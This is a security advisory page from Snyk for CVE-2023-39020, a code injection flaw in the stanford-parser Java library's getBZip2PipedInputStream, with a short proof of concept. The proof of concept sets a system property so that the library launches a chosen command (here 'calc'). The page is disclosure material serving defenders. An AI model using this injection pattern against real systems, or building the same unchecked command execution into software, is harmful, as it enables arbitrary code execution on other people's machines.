Arbitrary Code Injection Affecting edu.stanford.nlp:stanford-parser package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.43% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-EDUSTANFORDNLP-5819550
  • published4 Aug 2023
  • disclosed28 Jul 2023
  • creditLetianYuan

Introduced: 28 Jul 2023

CVE-2023-39020  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for edu.stanford.nlp:stanford-parser.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Injection in the edu.stanford.nlp.io.getBZip2PipedInputStream component. This vulnerability is exploited via passing an unchecked argument.

PoC

        System.setProperty("bzcat", "calc");
        try {
            IOUtils.getBZip2PipedInputStream("");
        } catch (Exception e) {
            e.printStackTrace();
        }

References

CVSS Scores

version 3.1